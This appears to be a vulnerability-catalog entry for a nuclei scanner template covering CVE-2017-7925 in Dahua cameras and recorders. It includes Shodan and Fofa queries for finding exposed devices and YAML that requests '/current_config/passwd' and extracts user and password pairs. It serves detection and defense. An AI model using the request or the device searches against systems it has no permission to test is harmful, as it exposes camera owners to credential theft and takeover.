SecurityContext

CVE-2017-7925: Dahua Security - Configuration File Disclosure

  • Template: CVE-2017-7925
  • Name: Dahua Security - Configuration File Disclosure
  • Description: A Password in Configuration File issue was discovered in Dahua DH-IPC-HDBW23A0RN-ZS, DH-IPC-HDBW13A0SN, DH-IPC-HDW1XXX, DH-IPC-HDW2XXX, DH-IPC-HDW4XXX, DH-IPC-HFW1XXX, DH-IPC-HFW2XXX, DH-IPC-HFW4XXX, DH-SD6CXX, DH-NVR1XXX, DH-HCVR4XXX, DH-HCVR5XXX, DHI-HCVR51A04HE-S3, DHI-HCVR51A08HE-S3, and DHI-HCVR58A32S-S2 devices. The password in configuration file vulnerability was identified, which could lead to a malicious user assuming the identity of a privileged user and gaining access to sensitive information.
  • Impact: This vulnerability can lead to unauthorized access to sensitive information, potentially compromising the security of the system.
  • Remediation: To remediate this vulnerability, ensure that the configuration file is properly secured and access to it is restricted to authorized personnel only.
  • Severity: critical
  • Authors: E1A, none
  • Tags: cve, cve2017, dahua, camera, dahuasecurity, vuln
  • References: https://nvd.nist.gov/vuln/detail/CVE-2017-7925, https://ics-cert.us-cert.gov/advisories/ICSA-17-124-02, http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php
  • Cves: CVE-2017-7925
  • Max requests: 1
  • Directory: http/cves
  • Path: http/cves/2017/CVE-2017-7925.yaml
  • Digest: 490a004630440220451571b9978504698c632a988c68c32507230fc772f793c63fbadd37c817f39702204fc5cffec62edfdb9a7c9b76776cc4f4eedbb6fa7240a4ee9e169db29dfe1a2a
  • Created at: 2023-07-13T21:56:00Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 1230
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-7925.yaml
  • Checked, none or zero: verified

Classification

  • Cwe: CWE-522, CWE-260
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.51418
  • Epss percentile: 0.98967
  • Cpe: cpe:2.3:o:dahuasecurity:dh-ipc-hdbw23a0rn-zs_firmware:-:*:*:*:*:*:*:*

Metadata

  • Fofa-query: icon_hash=2019488876
  • Max-request: 1
  • Product: dh-ipc-hdbw23a0rn-zs_firmware
  • Shodan-query: http.favicon.hash:2019488876
  • Vendor: dahuasecurity

Products

ProductIndexedUrl
dahuasecurity:dh-ipc-hdbw23a0rn-zs_firmwareyes/v1/products/dahuasecurity/dh-ipc-hdbw23a0rn-zs_firmware

Labels

  • Name: Dahua Devices - Broken Authentication
  • Impact: Attackers can assume privileged identities, leading to unauthorized access to sensitive information and potential system compromise.
  • Remediation: Change default passwords, implement strong password policies, and update device firmware to the latest version.
  • Vulnerability type: broken_authentication
  • Vulnerability impact: information_disclosure, privilege_escalation
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2017-7925
  • Not known: requirements

```yaml

id: CVE-2017-7925

info:

name: Dahua Security - Configuration File Disclosure

author: E1A,none

severity: critical

description: |

A Password in Configuration File issue was discovered in Dahua DH-IPC-HDBW23A0RN-ZS, DH-IPC-HDBW13A0SN, DH-IPC-HDW1XXX, DH-IPC-HDW2XXX, DH-IPC-HDW4XXX, DH-IPC-HFW1XXX, DH-IPC-HFW2XXX, DH-IPC-HFW4XXX, DH-SD6CXX, DH-NVR1XXX, DH-HCVR4XXX, DH-HCVR5XXX, DHI-HCVR51A04HE-S3, DHI-HCVR51A08HE-S3, and DHI-HCVR58A32S-S2 devices. The password in configuration file vulnerability was identified, which could lead to a malicious user assuming the identity of a privileged user and gaining access to sensitive information.

impact: |

This vulnerability can lead to unauthorized access to sensitive information, potentially compromising the security of the system.

remediation: |

To remediate this vulnerability, ensure that the configuration file is properly secured and access to it is restricted to authorized personnel only.

reference:

- https://nvd.nist.gov/vuln/detail/CVE-2017-7925

- https://ics-cert.us-cert.gov/advisories/ICSA-17-124-02

- http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2017-7925

cwe-id: CWE-522,CWE-260

epss-score: 0.51418

epss-percentile: 0.98967

cpe: cpe:2.3:o:dahuasecurity:dh-ipc-hdbw23a0rn-zs_firmware:-:*:*:*:*:*:*:*

metadata:

max-request: 1

vendor: dahuasecurity

product: dh-ipc-hdbw23a0rn-zs_firmware

shodan-query: http.favicon.hash:2019488876

fofa-query: icon_hash=2019488876

tags: cve,cve2017,dahua,camera,dahuasecurity,vuln

http:

- method: GET

path:

- "{{BaseURL}}/current_config/passwd"

matchers:

- type: dsl

dsl:

- contains(to_lower(body), "ugm")

- contains(to_lower(body), "id:name:passwd")

- status_code == 200

condition: and

extractors:

- type: regex

group: 1

regex:

- 1:(.*:.*):1:CtrPanel

digest: 490a004630440220451571b9978504698c632a988c68c32507230fc772f793c63fbadd37c817f39702204fc5cffec62edfdb9a7c9b76776cc4f4eedbb6fa7240a4ee9e169db29dfe1a2a:922c64590222798bb761d5b6d8e72950

```